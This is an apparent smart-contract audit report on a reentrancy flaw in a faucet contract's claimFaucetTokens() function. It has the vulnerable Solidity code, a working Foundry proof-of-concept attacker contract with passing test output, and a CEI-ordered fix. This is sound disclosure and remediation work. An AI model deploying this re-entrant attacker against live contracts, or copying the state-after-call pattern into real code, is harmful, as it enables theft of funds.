Root + Impact
Description
The claimFaucetTokens() function is designed to allow users to claim 1,000 faucet tokens once every 3 days, with an optional 0.005 ETH drip on their first claim. The function enforces a cooldown period by checking lastClaimTime[faucetClaimer] and updates this timestamp at the end of the function to prevent repeated claims.
The function violates the Checks-Effects-Interactions (CEI) pattern by updating critical anti-reentrancy state variables (lastClaimTime and dailyClaimCount) after making an external ETH transfer to an untrusted address. This allows malicious contracts to re-enter claimFaucetTokens() during the ETH transfer callback, bypassing the cooldown check and claiming tokens twice in a single transaction.
function claimFaucetTokens() public {
faucetClaimer = msg.sender;
if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
if (dailyClaimCount >= dailyClaimLimit) {
revert RaiseBoxFaucet_DailyClaimLimitReached();
}
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
if (block.timestamp > lastSepEthDripDay + 1 days) {
lastSepEthDripDay = block.timestamp;
dailyDrips = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
@> (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
}
} else {
if (block.timestamp > lastSepEthDripDay + 1 days) {
lastSepEthDripDay = block.timestamp;
dailyDrips = 0;
}
}
if (block.timestamp > lastFaucetDripDay + 1 days) {
lastFaucetDripDay = block.timestamp;
dailyClaimCount = 0;
}
@> lastClaimTime[faucetClaimer] = block.timestamp;
@> dailyClaimCount++;
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}
Risk
Likelihood:
-
Any user can deploy a malicious contract with a receive() fallback function that re-enters claimFaucetTokens() during the ETH transfer
-
The vulnerability triggers automatically on the first claim when the contract sends 0.005 ETH to the caller's address
-
Exploitation requires only basic Solidity knowledge and costs less than $5 in gas fees
Impact:
-
Attackers claim double tokens (2,000 instead of 1,000) per transaction, directly stealing from the faucet reserves
-
The 3-day cooldown mechanism is completely bypassed, allowing attackers to drain tokens every 3 days instead of waiting between claims
-
Attackers can exhaust the daily claim limit (100 claims/day) by deploying multiple contracts, preventing legitimate users from accessing the faucet for 24-hour periods
-
At scale (50 attacker contracts), 100,000 tokens can be drained, degrading the faucet's intended purpose of distributing tokens to new users
Proof of Concept
The following proof of concept demonstrates how an attacker can exploit the reentrancy vulnerability to claim double tokens in a single transaction. The ReentrancyAttacker contract implements a receive() fallback function that re-enters claimFaucetTokens() when it receives the 0.005 ETH drip. Since lastClaimTime is not updated until after the external call, the second claim bypasses the cooldown check and succeeds.
The test case verifies that the attacker receives 2,000 tokens (2x the expected amount) and confirms that reentrancy occurred exactly once during the ETH transfer.
pragma solidity ^0.8.30;
import {Test, console} from "forge-std/Test.sol";
import {RaiseBoxFaucet} from "../src/RaiseBoxFaucet.sol";
contract ReentrancyAttacker {
RaiseBoxFaucet public immutable faucet;
uint256 public attackCount;
constructor(address payable _faucet) {
faucet = RaiseBoxFaucet(_faucet);
}
function attack() external {
faucet.claimFaucetTokens();
}
receive() external payable {
if (attackCount == 0) {
attackCount++;
try faucet.claimFaucetTokens() {} catch {}
}
}
}
contract ReentrancyTest is Test {
RaiseBoxFaucet public raiseBoxFaucet;
address public owner = makeAddr("owner");
function setUp() public {
vm.prank(owner);
raiseBoxFaucet = new RaiseBoxFaucet(1_000_000e18);
vm.deal(address(raiseBoxFaucet), 100 ether);
}
function testReentrancyExploit() public {
ReentrancyAttacker attacker = new ReentrancyAttacker(payable(address(raiseBoxFaucet)));
uint256 balanceBefore = raiseBoxFaucet.balanceOf(address(attacker));
console.log("Initial balance:", balanceBefore);
attacker.attack();
uint256 balanceAfter = raiseBoxFaucet.balanceOf(address(attacker));
uint256 expectedSingle = raiseBoxFaucet.faucetDrip();
console.log("Final balance:", balanceAfter);
console.log("Expected single claim:", expectedSingle);
console.log("Attack count:", attacker.attackCount());
assertEq(balanceAfter - balanceBefore, 2 * expectedSingle, "Should claim 2x tokens");
assertEq(attacker.attackCount(), 1, "Reentrancy occurred once");
}
}
OUTPUT :
Ran 1 test for test/RaiseBoxFaucet.t.sol:TestRaiseBoxFaucet
[PASS] testReentrancyExploit() (gas: 444314)
Logs:
Initial balance: 0
Final balance: 2000000000000000000000
Expected single claim: 1000000000000000000000
Attack count: 1
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.97ms
Recommended Mitigation
The vulnerability is fixed by restructuring the function to follow the Checks-Effects-Interactions (CEI) pattern. All state variables that control reentrancy protection (lastClaimTime, dailyClaimCount, and day rollover logic) are moved to execute before any external calls. The ETH transfer is deferred until the very end of the function, after all state updates and even after the token transfer.
This ensures that if an attacker attempts to re-enter during the ETH transfer, the cooldown check will fail because lastClaimTime has already been updated to the current block timestamp. Additionally, dailyClaimCount will have been incremented, preventing daily limit bypass.
function claimFaucetTokens() public {
faucetClaimer = msg.sender;
if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
if (dailyClaimCount >= dailyClaimLimit) {
revert RaiseBoxFaucet_DailyClaimLimitReached();
}
+ // Update state BEFORE external calls
+ if (block.timestamp > lastFaucetDripDay + 1 days) {
+ lastFaucetDripDay = block.timestamp;
+ dailyClaimCount = 0;
+ }
+
+ lastClaimTime[faucetClaimer] = block.timestamp;
+ dailyClaimCount++;
+
+ // Determine if ETH drip is needed
+ bool shouldDripEth = false;
+ uint256 ethAmount = 0;
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
if (block.timestamp > lastSepEthDripDay + 1 days) {
lastSepEthDripDay = block.timestamp;
dailyDrips = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
-
- (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
- if (success) {
- emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
- } else {
- revert RaiseBoxFaucet_EthTransferFailed();
- }
+ shouldDripEth = true;
+ ethAmount = sepEthAmountToDrip;
}
} else {
if (block.timestamp > lastSepEthDripDay + 1 days) {
lastSepEthDripDay = block.timestamp;
dailyDrips = 0;
}
}
- if (block.timestamp > lastFaucetDripDay + 1 days) {
- lastFaucetDripDay = block.timestamp;
- dailyClaimCount = 0;
- }
-
- lastClaimTime[faucetClaimer] = block.timestamp;
- dailyClaimCount++;
_transfer(address(this), faucetClaimer, faucetDrip);
+
+ if (shouldDripEth) {
+ (bool success,) = faucetClaimer.call{value: ethAmount}("");
+ if (success) {
+ emit SepEthDripped(faucetClaimer, ethAmount);
+ } else {
+ revert RaiseBoxFaucet_EthTransferFailed();
+ }
+ }
emit Claimed(msg.sender, faucetDrip);
}